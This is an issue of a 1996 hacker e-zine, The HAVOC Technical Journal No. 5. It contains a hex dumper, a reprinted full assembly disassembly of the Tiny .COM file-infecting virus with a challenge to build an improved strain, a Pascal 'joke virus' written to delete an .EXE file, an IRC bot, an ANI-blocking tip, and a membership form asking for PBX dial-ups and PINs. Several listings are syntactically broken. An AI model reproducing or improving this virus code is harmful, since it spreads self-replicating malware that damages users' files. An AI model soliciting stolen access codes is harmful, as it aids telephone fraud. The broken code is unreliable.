home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / thtj / thtj5.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  30.9 KB  |  933 lines

  1. ╒══════════════════════════════════════════════════════════════════╕
  2. │The HAVOC Technical Journal                                       │▒
  3. └──────────────────────────────────────────────────────────────────┘▒
  4.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.  
  6. Vol. 1 | No.5 | October 31st, 1996 | A HAVOC Bell Systems Publication
  7.        "Pleading the Fifth"
  8. Happy Halloween!
  9. _____________________________________________________________________________
  10. Inside this issue:
  11.  
  12.         Whats new this issue..............................
  13.         Editorial.........................................Scud-O 
  14.         The Dumper........................................Scud-O  
  15.         Virus Challenge...................................Scud-O / 40HEX
  16.         The Burrito Virus.................................Scud-O
  17.         BOT.C.............................................|\|\cFill
  18.         ANI Spoofing......................................Keystroke
  19.         Sign Up Sheet for HAVOC Bell Systems..............
  20.         X11 services......................................Scud-O
  21.         RTFM: The lamer Journal...........................
  22.         ROLL CALL & more!.................................    
  23.         Next Month........................................      
  24.  
  25.        (I need more writers!!! e-mail me if ya want to write an article!
  26.         my e-mail is: FoxMulder@worldnet.att.net (yes its back up..)
  27.         the mags e-mail is: thtj@juno.com (wheee.. we get to read ads as
  28.         we get your e-mail!) )
  29.  
  30.         This months music supplied by: Geggy Tah, TOOL, Korn
  31.         Sublime, Violent Femmes, Fun Loving Criminals and WHFS 99.1 !
  32.  
  33. What's new in this issue:
  34.         Well not much is new.. Yea Right! Both |\|\cFill and Keystroke
  35.         have joined HBS and they have both have articles in this issue.
  36.         Enjoy for they are great people!
  37.  
  38.        -----------------------------------------------------------
  39.        How to contact us:
  40.         Check Out Our Web Site:
  41.          www.geocities.com/SiliconValley/8805/
  42.          my (Scud-O)  e-mail is : FoxMulder@worldnet.att.net
  43.          Psycho's lame email: CLASSIFIED
  44.          |\|\cFill's email : CLASSIFIED
  45.          Keystroke's email : CLASSIFIED
  46.          (If you guys want your email unclassified tell me so! )
  47.          our Mag e-mail is : thtj@juno.com
  48.          HELLCORE's e-mail is : hellcore@juno.com
  49.       ---------------------------------------------------------------
  50.  
  51. Editorial:
  52.         by Scud-O
  53. Well HBS is reallt taking off again. After not seeing Pinky for a while and
  54. Rotten & Sid's move I was worried that HBS would die. But |\|\cFill and
  55. Keystroke (who are VERY cool people) have joined up! They each did an article
  56. for this issue and next month we will have info sheets on them.
  57.         Also coming soon is a redesigned HBS web site! The graphics are
  58.  almost done, the 403 Forbideen club is being worked on,  the members pages
  59.  will be created, and the links page will be up! Look for both Frames and non
  60.  frames pages and maybe some Java & JavaScript! I may be moving to L0pht soon
  61.  so then we will have CGI too!
  62.         In other news HBS is now into commercial & private Web Development!
  63. So if you need any web stuff done cheaply we will do it! (we have super low
  64. rates!) Check out our web page for more info up soon including the rates!
  65.         Now on to the bickering:
  66. This has been a CRAZY month! new HBS memebers, me running my schools network,
  67. coming in on weekends to work on it more! it TOO much! so that is why this
  68. issue has been cut down in size and why next issue isn't coming out until the
  69. 15th of December! If you want to complain.. #$^%$@# you! It takes a HELL of a
  70. LOT of work to run a web site, run a network, connect that network to inet,
  71. and edit this magizine as well as write it up! so help by writting articles
  72. for me!!!
  73.     ----------------------------------------------
  74.   /       ---/   --/  /   /  |  /------/   /    /
  75.  /---       /-----/------/-----/      /   /    /
  76. /----------/                         /--------/
  77.               -of HAVOC Bell Systems-
  78. FoxMulder@worldnet.att.net
  79.  
  80. the National Get A Gat! [tm] Program - Join it today!
  81.  
  82. "Beliefs are dangerous. Beliefs allow the mind to stop functioning.
  83. A non-functioning mind is clinically dead. Believe in nothing"
  84.                                         -Tool "AEnima"
  85.                 
  86.  
  87.  
  88.  
  89. The Dumper:
  90.         by Scud-O
  91. This is a HEX Dump utility I wrote which can really help you in virus writing
  92. It is VERY simple but it works.. if you want more of a Dumper go find one..
  93. they are out there.. ALSO: if you fix this Dumper send me a copy of the fix
  94. and the source, I'll put it in a future issue! Below is the C source... its
  95. about 8563 bytes the assembly version was only 1294 bytes but it was too much
  96. typing to finish for this issue (ASM: 436 C:77 Winner:C!)
  97.  
  98. /*  DUMP.C    Display the binary contents of a file in
  99.               hex and ASCII on the standard output device.
  100.  
  101.     Compile: C> CL DUMP.C or whatever your compiler is..
  102.  
  103.     Usage:   C>DUMP unit:path\filename.ext
  104.  
  105.     Copyright (C) 1996 HAVOC Bell Systems ALL Rights F**ked!
  106.     Written by Scud-O of HBS
  107. */
  108.  
  109. #include <stdio.h>
  110. #include <io.h>
  111. #include <fcntl.h>
  112.  
  113. #define REC_SIZE 16   /* input file record size  */
  114.  
  115. main (int argc, char *argv[])
  116. {
  117.         int fd;                 /* input file handle */
  118.         int status = 0;         /* status from file read */
  119.         long fileptr = OL;      /* current file byte offset */
  120.         char filebuf[REC_SIZE]; /* data from file */
  121.  
  122.         /* abort if missing filename */
  123.         if argc != 2)
  124.         {
  125.                 fprintf(stderr, "\nDumper: wrong number of parameters\n");
  126.                 exit(1);
  127.         }
  128.  
  129.         /* open file in binary mode, abort if fails */
  130.         if((fd = open(argv[1],O_RDONLY | O_BINARY) ) == -1)
  131.         {
  132.           fprintf(stderr, "\nDumper: can't find file %s \n", argv[1]);
  133.         /*  read and dump records until EOF */
  134.         while((status = read(rd,filebuf,REC_SIZE) ) != 0)
  135.         {
  136.                 dump_rec(filebuf, fileptr, status);
  137.                 fileptr += REC_SIZE;
  138.         }
  139.  
  140.         close(fd);      /* close the input file */
  141.         exit(0);        /* return the success code */
  142. }
  143. /* Display record (16 bytes) in hex and ASCII on standard output */
  144. dump_rec(char *filebuf, long fileptr, int length)
  145. {
  146.         int i; /* index to current record */
  147.  
  148.         if(fileptr % 128 == 0) /* display heading if needed */
  149.                 printf("\n\n    0 1 2 3 4 5 6 7 8 9 A B C D E F");
  150.  
  151.         printf("\n%041X ", fileptr); /* display file offset */
  152.  
  153.         /* display hex equivalent of each byte from file */
  154.         for(i=0; i < length ; i++)
  155.                 printf(" %02X", (unsigned char)filebuf[i]);
  156.  
  157.         if(length != 16)        /* spaces if partial record */
  158.                 for(i=0; i<(16-length); i++)
  159.                         printf("   ");
  160.  
  161.         /* display ASCII equivalent of each byte from file */
  162.         printf("   ");
  163.         for(i=0;i<lenght;i++)
  164.         {
  165.                 if(filebuf[i] < 32 || filebuf[i] > 126)
  166.                         putchar('.');
  167.                 else putchar(filebuf[i]);
  168.         }
  169. }
  170.  
  171.  
  172. Virus Challenge:
  173.         by Scud-O / 40Hex
  174.         Okay people this article was originally in 40Hex Issue 1. This
  175.         is reprinted because It gives you a challenge to inprove this virus
  176.         so go a head and work on it! It will greatly help your virus writing
  177.         skills. 
  178.                           - VIRUS SPOTLIGHT -
  179.  
  180.  
  181.      The first virus I would like to spotlight is the Tiny virus, lets see
  182. what our good friend Patti Hoffman (bitch) has written about it.
  183.  
  184.  Name:        Tiny
  185.  Aliases:     163 COM Virus, Tiny 163 Virus, Kennedy-163
  186.  V Status:    Rare
  187.  Discovery:   June, 1990
  188.  Symptoms:    COMMAND.COM & .COM file growth
  189.  Origin:      Denmark
  190.  Eff Length:  163 Bytes
  191.  Type Code:   PNCK - Parasitic Non-Resident .COM Infector
  192.  Detection Method:  ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
  193.  Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infectedfiles
  194.  General Comments:
  195.        The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
  196.        of Iceland in June 1990.  This virus is a non-resident generic
  197.        .COM file infector, and it will infect COMMAND.COM.
  198.  
  199.        The first time a file infected with the 163 COM Virus is executed,
  200.        the virus will attempt to infect the first .COM file in the
  201.        current directory.  On bootable diskettes, this file will normally
  202.        be COMMAND.COM.  After the first .COM file is infected,each time
  203.        an infected program is executed another .COM file will attempt to
  204.        be infected.  Files are infected only if their original length is
  205.        greater than approximately 1K bytes.
  206.  
  207.        Infected .COM files will increase in length by 163 bytes, and have
  208.        date/time stamps in the directory changed to the date/time the
  209.        infection occurred.  Infected files will also always end with this
  210.        hex string: '2A2E434F4D00'.
  211.  
  212.        This virus currently does nothing but replicate, and is the
  213.        smallest MS-DOS virus known as of its isolation date.
  214.  
  215.        The Tiny Virus may or may not be related to the Tiny Family.
  216.        ^like she'd know the difference!
  217.  
  218. OK, Theres the run down on the smallest MS-DOS virus known to man.  As for
  219. it being detected by SCAN we'll see about that.
  220.  
  221. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
  222. or MASM.
  223.  
  224. -----------------------------------------------------------------------------
  225.  
  226. PAGE  59,132
  227.  
  228.  
  229. data_2e         equ     1ABh                    ;start of virus
  230.  
  231. seg_a           segment byte public             ;
  232.                 assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code
  233.  
  234.  
  235.                 org     100h                    ;orgin of all COM files
  236. s               proc    far
  237.  
  238. start:
  239.                 jmp     loc_1                   ;jump to virus
  240.  
  241.  
  242. ;this is a replacement for an infected file
  243.  
  244.                 db      0CDh, 20h, 7, 8, 9      ;int 20h
  245.                                                 ;pop es
  246.  
  247. loc_1:
  248.                 call    sub_1                   ;
  249.  
  250.  
  251.  
  252. s               endp
  253.  
  254.  
  255. sub_1           proc    near                    ;
  256.                 pop     si                      ;locate all virus code via
  257.                 sub     si,10Bh                 ;si, cause all offsets will
  258.                 mov     bp,data_1[si]           ;change when virus infects
  259.                 add     bp,103h                 ;a COM file
  260.                 lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
  261.                 xor     cx,cx                   ;clear cx - find only normal
  262.                                                 ;attributes
  263.                 mov     ah,4Eh                  ;find first file
  264. loc_2:
  265.                 int     21h                     ;
  266.  
  267.                 jc      loc_6                   ;no files found? then quit
  268.                 mov     dx,9Eh                  ;offset of filename found
  269.                 mov     ax,3D02h                ;open file for read/write access
  270.                 int     21h                     ;
  271.  
  272.                 mov     bx,ax                   ;save handle into bx
  273.                 mov     ah,3Fh                  ;read from file
  274.                 lea     dx,[si+1A8h]            ;offset of save buffer
  275.                 mov     di,dx                   ;
  276.                 mov     cx,3                    ;read three bytes
  277.                 int     21h                     ;
  278.                 
  279.                 cmp     byte ptr [di],0E9h      ;compare buffer to virus id
  280.                                                 ;string
  281.                 je      loc_4                   ;
  282. loc_3:
  283.                 mov     ah,4Fh                  ;find the next file
  284.                 jmp     short loc_2             ;and test it
  285. loc_4:
  286.                 mov     dx,[di+1]               ;lsh of offset
  287.                 mov     data_1[si],dx           ;
  288.                 xor     cx,cx                   ;msh of offset
  289.                 mov     ax,4200h                ;set the file pointer
  290.                 int     21h                     ;
  291.  
  292.                 mov     dx,di                   ;buffer to save read
  293.                 mov     cx,2                    ;read two bytes
  294.                 mov     ah,3Fh                  ;read from file
  295.                 int     21h                     ;
  296.  
  297.                 cmp     word ptr [di],807h      ;compare buffer to virus id
  298.                 je      loc_3                   ;same? then find another file
  299.  
  300. ;heres where we infect a file
  301.  
  302.                 xor     dx,dx                   ;set file pointer
  303.                 xor     cx,cx                   ;ditto
  304.                 mov     ax,4202h                ;set file pointer
  305.                 int     21h                     ;
  306.  
  307.                 cmp     dx,0                    ;returns msh
  308.                 jne     loc_3                   ;not the same? find another file
  309.                 cmp     ah,0FEh                 ;lsh = 254???
  310.                 jae     loc_3                   ;if more or equal find another file
  311.  
  312.                 mov     ds:data_2e[si],ax       ;point to data
  313.                 mov     ah,40h                  ;write to file
  314.                 lea     dx,[si+105h]            ;segment:offset of write buffer
  315.                 mov     cx,0A3h                 ;write 163 bytes
  316.                 int     21h                     ;
  317.  
  318.                 jc      loc_5                   ;error? then quit
  319.                 mov     ax,4200h                ;set file pointer
  320.                 xor     cx,cx                   ;to the top of the file
  321.                 mov     dx,1                    ;
  322.                 int     21h                     ;
  323.  
  324.                 mov     ah,40h                  ;write to file
  325.                 lea     dx,[si+1ABh]            ;offset of jump to virus code
  326.                 mov     cx,2                    ;two bytes
  327.                 int     21h                     ;
  328.  
  329. ;now close the file
  330.  
  331. loc_5:
  332.                 mov     ah,3Eh                  ;close file
  333.                 int     21h                     ;
  334.  
  335. loc_6:
  336.                 jmp     bp                      ;jump to original file
  337.  
  338. data_1          dw      0                       ;
  339.                 db      '*.COM',0               ;wild card search string
  340.  
  341.  
  342. sub_1           endp
  343. seg_a           ends
  344.                 end     start
  345.  
  346.  
  347. -----------------------------------------------------------------------------
  348.  
  349. Its good to start off with a simple example like this.  As you can see
  350. what the virus does is use the DOS 4Eh function to find the firsy COM file
  351. in the directory.  If no files are found the program exits.  If a file is
  352. found it compares the virus id string (the virus jump instruction) to the
  353. first two bytes of the COM file.  If they match the program terminates.
  354. If they don't match the virus will infect the file.  Using two key MS-DOS
  355. functions to infect.
  356.  
  357. The first -
  358.  
  359. INT 21h Function 42h
  360. SET FILE POINTER
  361.  
  362. AH   =   42h
  363. AL   =   method code
  364. BX   =   file handle
  365. CX   =   most significant half to offset
  366. DX   =   least "                       "
  367.  
  368. If there is an error in executing this function the carry flag will be set,
  369. and AX will contian the error code.  If no error is encountered
  370.  
  371. DX   =   most significant half of file pointer
  372. AX   =   least "                             "
  373.  
  374.  
  375. The second (and most) important function used by any virus is
  376.  
  377.  
  378. INT 21h Function 40h
  379. WRITE TO FILE OR DEVICE
  380.  
  381. AH    =   40h
  382. BX    =   handle
  383. CX    =   number of bytes to write
  384. DS:DX =   segment of buffer
  385.  
  386. Returns
  387.  
  388. AX    =   bytes transferred
  389.  
  390. on error
  391.  
  392. AX    =  Error Code and flag is set.
  393.  
  394.  
  395. An example of Function 40h is ----
  396.  
  397.  
  398.      mov     ah,40h                   ;set function
  399.      mov     bx,handle                ;load bx with handle from prev open
  400.      mov     cx,virus_size            ;load cx with # of bytes to write
  401.      mov     dx,offset write_buffer   ;load dx with the offset of what to
  402.                                       ;write to file
  403.      int     21h                      ;
  404.  
  405.  
  406. This function is used by 98% of all MS-DOS viruses to copy itself to a
  407. victim file.
  408.  
  409.  
  410. Now heres a sample project -  create a new strain of Tiny, have it restore
  411. the original date and time etc...
  412.  
  413.  
  414.                                                                           HR
  415. ----------------------------------------------------------------------------
  416.  
  417. The Burrito Virus:  by Scud-O
  418.         This is a joke virus just like the Cookie virus. It says that it
  419. wants a burrito, if you type 'burrito' it exits. Type 'breakfast burrito'
  420. and the virus deletes itself. type 'taco bell burrito' and the virus kills
  421. a random file (EXE). Actually this virus isn't really a true virus, as it
  422. doesnt spread (hmm.. maybe for version 2... ) anyway I wrote this is PASCAL
  423. basically because I was bored in PASCAL class. I'm going to port this to ASM
  424. as soon as i find the time... (hey im a busy guy alright?!?!) currently this
  425. file is like 4000 or so bytes (give or take..)
  426. PLEASE NOTE: This is a VERY early version of the virus! The final is lost
  427. somewhere on my network at school... I will hopefully find it for next issue!
  428. Challenge: get this porgram to work fully! I will give a prize to whoever
  429. fixes it first!
  430.  
  431. PROGRAM burrito (Input,Output,InfectedFile);
  432. USES dos;
  433.  
  434. (*CONST
  435.      ThisFile = 'win.com';*)
  436.  
  437. VAR
  438.    regs: Registers;
  439.    DirInfo: SearchRec;
  440.    InfectedFile : Text;
  441.    KillFile,
  442.    ThisFile,
  443.    UsrInput : String;
  444.  
  445. BEGIN
  446.      ThisFile := 'win.com' ;
  447.      Write('I want a burrito! ');
  448.      ReadLn(UsrInput);
  449.      If UsrInput = 'burrito'
  450.      Then
  451.          Begin
  452.          End ;
  453.      If UsrInput = 'breakfast burrito'
  454.      Then
  455.          Begin
  456.               WriteLn('Yuck');
  457.                  regs.ah := $41;
  458.                      with regs do
  459.                      msdos(regs);
  460.                      with regs do
  461.                           begin
  462.                                str(dx, ThisFile);
  463.                           end;
  464.          End;
  465.      If UsrInput = 'taco bell burrito'
  466.      Then
  467.          Begin
  468.                KillFile := FindFirst('*.EXE', Archive, DirInfo);
  469.                begin
  470.                      regs.ah := $41;
  471.                      with regs do
  472.                      msdos(regs);
  473.                      with regs do
  474.                           begin
  475.                                str(dx , KillFile);
  476.  
  477.                           end;
  478.                end;
  479.          End;
  480.  
  481. end.
  482.  
  483.  
  484.  
  485.  
  486. A simple C bot by |\|\cFill:
  487. /*
  488.  * bot.c - example of IRC automaton
  489.  *
  490.  * invoke with "irc -e bot"
  491.  *
  492.  * TnG - //\/\cFiLL
  493.  * repo
  494.  */
  495.  
  496. #include <stdio.h>
  497. #include <string.h>    
  498. #include "varargs.h"
  499.  
  500. #define LOGFILE "bot.log"
  501. #define MAXLEN 270
  502. #define MAXARGS 135
  503. #define PUBLIC  0x01
  504. #define PRIVATE 0x02
  505. #define NOTICE  0x04
  506. #define DCCCHAT 0x08
  507.  
  508. char *strchr(char *str, int ch);
  509.  
  510. void init(void);
  511. void strip(char *str);
  512. int makeargs(char *str, char **av);
  513. void parse(int ac, char **av);
  514. void say();
  515.  
  516. int
  517. main()
  518. {
  519.     FILE *log;
  520.     char *buf, **av;
  521.     int ac;
  522.  
  523.     buf = (char *) malloc(sizeof(char) * MAXLEN);
  524.     av = (char **) malloc(sizeof(char **) * MAXARGS);
  525.     if(!(log = fopen(LOGFILE, "a"))) {
  526.         perror(LOGFILE);
  527.         exit(1);
  528.     }
  529.     while(fgets(buf, MAXLEN, stdin)) {
  530.         strip(buf);
  531.         fprintf(log, "%s\n", buf);
  532.         fflush(log);
  533.         ac = makeargs(buf, av);
  534.         parse(ac, av);
  535.         fflush(stdout);
  536.     }
  537.     fclose(log);
  538.     free(av);
  539.     free(buf);
  540.     exit(0);
  541. }
  542.  
  543. void init(void)
  544. {
  545.     puts("/join #home");
  546.     puts("/notify SigInt");
  547. }
  548.  
  549. void
  550. strip(char *str)
  551. {
  552.     char *t;
  553.  
  554.     if(t = strchr(str, '\n'))       *t = 0;
  555.     if(t = strchr(str, '\r'))       *t = 0;
  556.     if(t = strchr(str, '\\'))       *t = 0;
  557.     if(t = strchr(str, ';'))        *t = 0;
  558. }
  559.  
  560. int
  561. makeargs(char *str, char **av)
  562. {
  563.     char *t = str;
  564.     int ac = 0;
  565.  
  566.     while(*t) {
  567.         if(ac < MAXARGS) av[ac++] = t;
  568.         while(*t && *t != ' ') t++;
  569.         if(*t) *t++ = 0;
  570.         while(*t && *t == ' ') t++;
  571.     }
  572.     return(ac);
  573. }
  574.  
  575. void pargs(int ac, char **av)
  576. {
  577.     int i;
  578.  
  579.     for(i = 0; i < ac; i++)
  580.         printf("%s ", av[i]);
  581.     printf("\n");
  582. }
  583.  
  584. void say(va_alist) va_dcl
  585. {
  586.     va_list args;
  587.     char *from, *fmt;
  588.     int flags;
  589.  
  590.     va_start(args);
  591.     flags = va_arg(args, int);
  592.     from = va_arg(args, char *);
  593.     fmt = va_arg(args, char *);
  594.  
  595.     /* parse flags */
  596.  
  597.     if(flags & PUBLIC)
  598.         vprintf(fmt, args);
  599.     if(flags & PRIVATE) {
  600.         printf("/msg %s ", from);
  601.         vprintf(fmt, args);
  602.     }
  603.     if(flags & NOTICE) {
  604.         printf("/notice %s ", from);
  605.         vprintf(fmt, args);
  606.     }
  607.     if(flags & DCCCHAT) {
  608.         printf("/msg =%s ", from);
  609.         vprintf(fmt, args);
  610.     }
  611.     va_end(args);
  612. }
  613.  
  614. void parse(int ac, char **av)
  615. {
  616. #define public() flags = PUBLIC
  617. #define private() flags = PRIVATE
  618. #define notice() flags = NOTICE
  619. #define dccchat() flags = DCCCHAT
  620. #define match(x,y) (!strcmp((x),(y)))
  621.  
  622.     static char nick[9], from[9], master[9], chnl[11];
  623.     char *first, *last, *cmd, *second;
  624.     int client = 0, trusted = 0, flags = PUBLIC;
  625.  
  626.     strcpy(nick, "SigBot");
  627.  
  628.     /* determine type of input */
  629.  
  630.     first = av[0];
  631.    second = av[2];
  632.    last = first + strlen(first) - 1;
  633.     cmd = av[1];
  634.  
  635.     /* set flags based on input */
  636.  
  637.     if(*first == '<' && *last == '>') public();
  638.     else if(*first == '*' && av[0][1] != '*' && *last == '*') private();
  639.     else if(*first == '-' && *last == '-') notice();
  640.     else if(*first == '=' && *last == '=') dccchat();
  641.     else client++;
  642.  
  643.     *last = 0;
  644.     strncpy(from, first + 1, 8);
  645.    if(match(from, "SigInt")) trusted++;
  646.  
  647.     /* begin parsing bot's input */
  648.  
  649.     if(client) {
  650.         if(match(av[4], "channels.")) {
  651.             strcpy(chnl, "#home");
  652.             init();
  653.         }
  654.         else if(match(av[1], "You") && match(av[4], "kicked")) {
  655.             printf("/join %s\n", chnl);
  656.             sleep(1);
  657.             printf("%s, you bastard!!!\n", av[9]);
  658.         }
  659.         else if(match(cmd, "DCC") && match(av[2], "CHAT"))
  660.             printf("/dcc chat %s\n", av[7]);
  661.         else if(match(cmd, "DCC") && match(av[2], "SEND")) {
  662.             private();
  663.             say(flags, av[7], "Sorry, %s, I don't do DCC :(\n", av[7]);
  664.         }
  665.         else if(match(av[2], "invites")) {
  666.             strcpy(chnl, av[6]);
  667.             printf("/join %s\n", chnl);
  668.             printf("/msg %s thanks!\n", av[1]);
  669.         }
  670.         else if(match(av[3], "joined") && strcmp(av[1], nick)) {
  671.             if(match(av[1], "SigInt"))
  672.                 printf("/mode %s +o SigInt\n", chnl);
  673.         }
  674.         else if(match(av[1], "Signon")) {
  675.             strcpy(from, av[3]);
  676.             private();
  677.             say(flags, from, "hi %s!\n", av[3]);
  678.             printf("/msg SigInt %s is here!\n", av[3]);
  679.         }
  680.         else if(match(cmd, "Signoff")) 
  681.             printf("/msg SigInt %s has left!\n", av[3]);
  682.         return;
  683.     }
  684.  
  685.     /* parse public, private, notice, and dccchat messages */
  686.  
  687.     if(match(cmd, "die") && trusted) puts("/sign Bad breath?");
  688.     else if(match(cmd, "do") && trusted) pargs(ac - 2, av + 2);
  689.     else if(match(cmd, "finger")) printf("/exec -out finger %s\n", av[2]);
  690.     else if(match(cmd, "go") && trusted) {
  691.         strcpy(chnl, av[2]);
  692.         printf("/join %s\n", chnl);
  693.     }
  694.     else if(match(cmd, "nick") && trusted) printf("/nick %s\n", av[2]);
  695.     else if(match(cmd, "op") && trusted) printf("/mode %s +o %s\n", chnl, av[2]);
  696.     else if(match(cmd, "ping")) say(flags, from, "pong.\n");
  697.     else if(match(cmd, "sextalk")) printf("/exec -out SexTalk\n");
  698.    else if(!strcasecmp(cmd, "What"))  
  699.       printf("I don't know, that's a good question %s\n", from);
  700.    else if(!strcasecmp(cmd, "Why"))
  701.       printf("yeah, why?\n");
  702.    else if(!strcasecmp(cmd, "How"))
  703.       printf("%s, doing so is pretty impossible, unless you're a bot!\n", from);
  704.    else if(!strcasecmp(cmd, "elite"))
  705.       printf("very elite\n"); 
  706.    else if(!strcasecmp(cmd, "re"))
  707.       printf("re %s\n", second);
  708.          
  709.       
  710.       
  711. }
  712. ANI Spoofing by Keystroke
  713. (this was first published in PLA issue 41. (thats why he's the mad little
  714. PLA (Phone Losers of America) Insider!!))
  715.  
  716. Dear PLA:
  717. I've found a new way to block 800 ANI. It is called Net2Phone and allows 
  718. people to place calls using a piece software which connects to IDT's (the
  719. company offering Net2Phone) servers and routes the call from their fones in 
  720. New Jersey to wherever you want to call.
  721.  
  722. Here is how they describe it, "Net2Phone enables Internet users with sound
  723. equipped PCs to initiate calls from their computers and transmit them over the 
  724. Internet to IDT's phone switches. The switches then convert the signal from 
  725. the 'packet switch network' Internet environment to the 'circuit switch 
  726. network' telephone environment. And then  to its' final destination - any 
  727. ordinary telephone. The result is real-time uninterrupted voice communication
  728. between the two calling parties."
  729.  
  730. This service is offered for free on 800 and 888 numbers. If you want to call 
  731. regular numbers it cost's extra. Unfortunately, after you call the number, you 
  732. cannot send tones and it is too staticky to use a tone dialer. Grab a copy at 
  733. http://www.net2phone.com.
  734.  
  735. Keystroke - prenzo@soho.ios.com
  736.  
  737.  
  738.  
  739. The HAVOC Bell Systems Sign Up sheet:
  740.         (NOTE: im not real sure why im doing this, Its usually
  741.         invite only , but i dunno, sign this and
  742.         maybe you can get in... )
  743. CUT HERE ------------------------------------------------------
  744.                   Application For Membership To HAVOC Bell Systems
  745.  
  746.     HAVOC Bell Systems is quickly coming on to the net and irc.
  747.     (we'd be on HellNet[tm] if Scud-O EVER gets his own line!!)
  748.     We are a seriour group of Phreakers/Hackers/ and Virus Writers.
  749.     We are all over the globe so.. a group meeting is pretty unlikely.
  750.  
  751.     If you wish to apply for membership to HBS or if you want
  752.     your board to become to become a HBS distribution site
  753.     fill out the application below and upload to Scud-O at:
  754.     FoxMulder@worldnet.att.net
  755.     for the Subject put: HAVOC Bell Systems Sign Up Sheet
  756.     (anything else will not be reviewed!)
  757.    
  758.     Keep in mind, from the start of HAVOC Bell Systems we have been
  759.     mainly Phreakers, but we are now into hacking and viruses.
  760.     We do this to fight for phreaker's rights and to fight the
  761.     Ma Bell beast.
  762.  
  763. ------------------------------------------------------------------------------
  764.  
  765.                        Application For Membership
  766.  
  767.  
  768.   I am interested in becoming
  769.  
  770.   ___ A HAVOC Bell Systems (HBS) Member
  771.   ___ An HBS  Distribution Site Sysop
  772.  
  773.  
  774.   Handle:      ________________
  775.   Aliases:     ________________
  776.   Email :      ________________
  777.  
  778.   Are you in any other groups? List them
  779.   _____________________________________
  780.   _____________________________________
  781.   _____________________________________
  782.  
  783.   What are you into? (Hacking/Phreaking/Virus/Etc.. )
  784.   ________________________________________________________________
  785.   What do you know?
  786.   ________________________________________________________________
  787.   ________________________________________________________________
  788.   ________________________________________________________________
  789.   ________________________________________________________________
  790.  
  791.   Do you know any programming languages? (C/PASCAL/ASM)
  792.   ____________________________ (Know well)
  793.   ____________________________  ...
  794.   ____________________________ (Just messed with)
  795.  
  796.  
  797.   Are you a sysop of a BBS?  ___
  798.   If yes leave the vitals:
  799.                            BBS Name: _________________________
  800.                            Dialup:   _________________________
  801.                            State/Country: ____________________
  802.                            Running: example: PCBoard _________
  803.  
  804.   Do you have a web site? ___
  805.   vitals:
  806.      Address: _________________________________________________
  807.      CGI access : ______ (Y or N)
  808.      Storage space: __________MB
  809.  
  810.   List three people you know (handles) : _________________
  811.                                          _________________
  812.                                          _________________
  813.  
  814.   List what IRC channels you are on:
  815.   Channel: ____________________
  816.   Server:______________________ (ex. Undernet, Dalnet, etc)
  817.   Do you have ops on this channel? ___ (Y/N)
  818.  
  819.   List a BBS that you have elite access to:
  820.  
  821.   Name: _____________________   Dialup: _______________________
  822.   Sysop: ____________________   NUP: __________________________
  823.  
  824.   Do you have a VMB:
  825.   Dialup: _________________ Box#: _________
  826.  
  827.   Quiz:
  828.   1. What is a PBX? __________________________________________
  829.   2. What is a PBX dial up # :________________________________
  830.                         PIN  :________________________________
  831.   3. What is a Bot? __________________________________________
  832.   4. 
  833.   Are you in any way connected to and law enforcment agency? ___
  834.   (NOTE: by law you MUST answer this truthfully! )
  835.   Do you realize that being untruthfull to the above question
  836.   waviers all legal matters: ____
  837.   Are you in anyway connected to any software company? ___
  838.  
  839.  
  840.   Thank for filling this out. -The HAVOC Bell Systems gang-
  841.  
  842.      Please email this application to Scud-O at: FoxMulder@worldnet.att.net
  843.      for the Subject put: HAVOC Bell Systems Sign Up Sheet
  844.      (anything else will not be reviewed!)
  845. -------------------------------------------------------------------------------
  846.  
  847. X11 Services: by Scud-O
  848.         011  : Used for international dialing
  849.         111  : No use
  850.         211  : No Use
  851.         311  : Disconnect phone temporally ( In Baltimore it is for non
  852.                                              emergency Five-O service  )
  853.         411  : Information ( So whats the 411? )
  854.         511  : No Use
  855.         611  : Repairs
  856.         711  : No Use
  857.         811  : No Use
  858.         911  : Emergency ( Rescue911 )
  859.  
  860. RTFM: The Lamer Journal
  861.  
  862. What is RTFM : The Lamer Journal?
  863.         basically it is a monthly article teaching basics of stuff, which
  864.         will continue until we feel we have covered what you need to know.
  865.  
  866.         Next month will have a basics on the smarts you need to stay out
  867.         in the world long enough to practice you hobby.
  868.  
  869.         Each monthly installment has info and a quiz on the material, and
  870.         info on where to get more info, practice sites, tools, etc.
  871.  
  872.         Look for it starting with issue 6!
  873.  
  874.  
  875. ROLL CALL & More!
  876.  
  877.  
  878. Who is HAVOC Bell Systems?
  879.         Scud-O      : Bunghole
  880.         Psycho      : Burrito
  881.         |\|\cFill   : Bot boy
  882.         Keystroke   : PLA Insider
  883.         Pinky       : In hidding
  884.         Rotten      : Moving fool
  885.         Sid         : Other Moving Fool  (and the're twins as well! )
  886.  
  887.         Want to join? next month we got a sign up sheet!
  888. Cool People:
  889.         phire
  890.         UnaBomber
  891.         theLURK7R (sometimes theLURK3R  ) or 4, 2 , etc...
  892.         LogicBox
  893.         Dem0nWeed
  894.     darkcyde
  895.     Rap3d_C0w
  896.                       all on IRC!
  897.  
  898. This Month Question: Who is Scud-O?
  899.         Scud-O is from the cool as shit comic book Scud: The Dispossible
  900.         Assassin by Rab Schrab and Fireman Press. In issue 2 there is a
  901.         TV ad for the Scud line and there is a little gun that talks and
  902.         his name is Scud-O. There was a cool theme song it was:
  903.                 "Get your spite in a bag,
  904.                 get your bile piled up,
  905.                 its the best damn vengance you've ever had!"
  906.  
  907.         
  908.   Next Month's Question: Who are |\|\cFill and Keystroke?
  909.  
  910.  
  911. Next Month:
  912.         This MAY be what we will have in issue 6
  913.           - The HellNet[tm] script / C code!
  914.           - Voice Mail Boxes
  915.           - PBX's
  916.           - Pager Talk (Delayed from this issue)
  917.           - NIDs pt.2  (Delayed from this issue)
  918.           - Whats up in the HELLCORE labs? (Delayed from this issue)
  919.           - Undernet Crash (Delayed from this issue)
  920.           - More from the RTFM: The Lamer Journal
  921.           - Much, Much more TBA!
